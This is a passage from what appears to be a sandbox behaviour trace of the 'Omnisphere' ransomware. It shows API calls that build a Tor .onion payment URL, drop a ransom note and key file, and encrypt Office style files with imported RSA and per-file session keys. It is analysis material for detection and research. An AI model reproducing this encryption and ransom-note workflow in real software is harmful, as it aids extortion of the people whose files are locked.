returned 1 [0091.711] CloseHandle (hObject=0x3c0) returned 1 [0091.712] UnmapViewOfFile (lpBaseAddress=0x3c00000) returned 1 [0091.714] CloseHandle (hObject=0x288) returned 1 [0091.715] SetEndOfFile (hFile=0x28c) returned 1 [0091.715] FlushFileBuffers (hFile=0x28c) returned 1 [0092.087] CloseHandle (hObject=0x28c) returned 1 [0092.093] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned 1 [0092.093] GetProcessHeap () returned 0x1600000 [0092.093] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1685378 [0092.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0092.094] GetProcessHeap () returned 0x1600000 [0092.094] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165ef40 [0092.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165ef40, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0092.094] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0092.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0092.094] GetProcessHeap () returned 0x1600000 [0092.094] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f650 [0092.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f650, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0092.094] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0092.094] GetProcessHeap () returned 0x1600000 [0092.094] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb8) returned 0x166acf8 [0092.094] PathCombineW (in: pszDest=0x166acf8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt" [0092.094] GetProcessHeap () returned 0x1600000 [0092.094] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1681330 [0092.094] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0092.094] WriteFile (in: hFile=0x28c, lpBuffer=0x1681330*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1681330*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0092.096] CloseHandle (hObject=0x28c) returned 1 [0092.096] GetProcessHeap () returned 0x1600000 [0092.096] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1685378 | out: hHeap=0x1600000) returned 1 [0092.096] GetProcessHeap () returned 0x1600000 [0092.096] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xae) returned 0x1630ea0 [0092.096] PathCombineW (in: pszDest=0x1630ea0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key" [0092.096] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0092.096] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0092.097] CloseHandle (hObject=0x28c) returned 1 [0092.097] GetProcessHeap () returned 0x1600000 [0092.097] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1630ea0 | out: hHeap=0x1600000) returned 1 [0092.097] GetProcessHeap () returned 0x1600000 [0092.097] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16240d8 | out: hHeap=0x1600000) returned 1 [0092.097] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2cbf800, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x47e7d, dwReserved0=0x0, dwReserved1=0xce, cFileName="IEEE2006OfficeOnline.xsl", cAlternateFileName="IEEE20~1.XSL")) returned 1 [0092.097] GetProcessHeap () returned 0x1600000 [0092.097] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xba) returned 0x1639ed0 [0092.097] PathCombineW (in: pszDest=0x1639ed0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="IEEE2006OfficeOnline.xsl" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl" [0092.097] StrStrW (lpFirst=".omnisphere", lpSrch=".xsl") returned 0x0 [0092.097] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\ieee2006officeonline.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0092.149] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=294525) returned 1 [0092.150] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x47959, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0092.150] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0092.237] GetTickCount () returned 0x1157348 [0092.237] GetTickCount () returned 0x1157348 [0092.237] GetTickCount () returned 0x1157348 [0092.237] GetTickCount () returned 0x1157348 [0092.237] GetTickCount () returned 0x1157348 [0092.237] GetTickCount () returned 0x1157348 [0092.237] GetTickCount () returned 0x1157348 [0092.237] GetTickCount () returned 0x1157348 [0092.237] GetTickCount () returned 0x1157348 [0092.237] GetTickCount () returned 0x1157348 [0092.237] GetTickCount () returned 0x1157348 [0092.237] GetTickCount () returned 0x1157348 [0092.237] GetTickCount () returned 0x1157348 [0092.237] GetTickCount () returned 0x1157348 [0092.237] GetTickCount () returned 0x1157348 [0092.237] GetTickCount () returned 0x1157348 [0092.237] GetTickCount () returned 0x1157348 [0092.237] GetTickCount () returned 0x1157348 [0092.237] GetTickCount () returned 0x1157348 [0092.237] GetTickCount () returned 0x1157348 [0092.237] GetTickCount () returned 0x1157348 [0092.237] GetTickCount () returned 0x1157348 [0092.237] GetTickCount () returned 0x1157348 [0092.237] GetTickCount () returned 0x1157348 [0092.237] GetTickCount () returned 0x1157348 [0092.237] GetTickCount () returned 0x1157348 [0092.237] GetTickCount () returned 0x1157348 [0092.237] GetTickCount () returned 0x1157348 [0092.237] GetTickCount () returned 0x1157348 [0092.238] GetTickCount () returned 0x1157348 [0092.238] GetTickCount () returned 0x1157348 [0092.238] GetTickCount () returned 0x1157348 [0092.238] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668a38) returned 1 [0092.238] CryptImportKey (in: hProv=0x1668a38, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0092.238] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0092.238] CryptDestroyKey (hKey=0x1639b28) returned 1 [0092.238] CryptReleaseContext (hProv=0x1668a38, dwFlags=0x0) returned 1 [0092.239] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x47e7d, lpName=0x0) returned 0x288 [0092.239] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x47e7d) returned 0x3c00000 [0092.708] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1669010) returned 1 [0092.709] CryptImportKey (in: hProv=0x1669010, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0092.709] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0092.709] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0092.709] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.709] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.709] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.709] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.709] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.710] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.711] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.712] 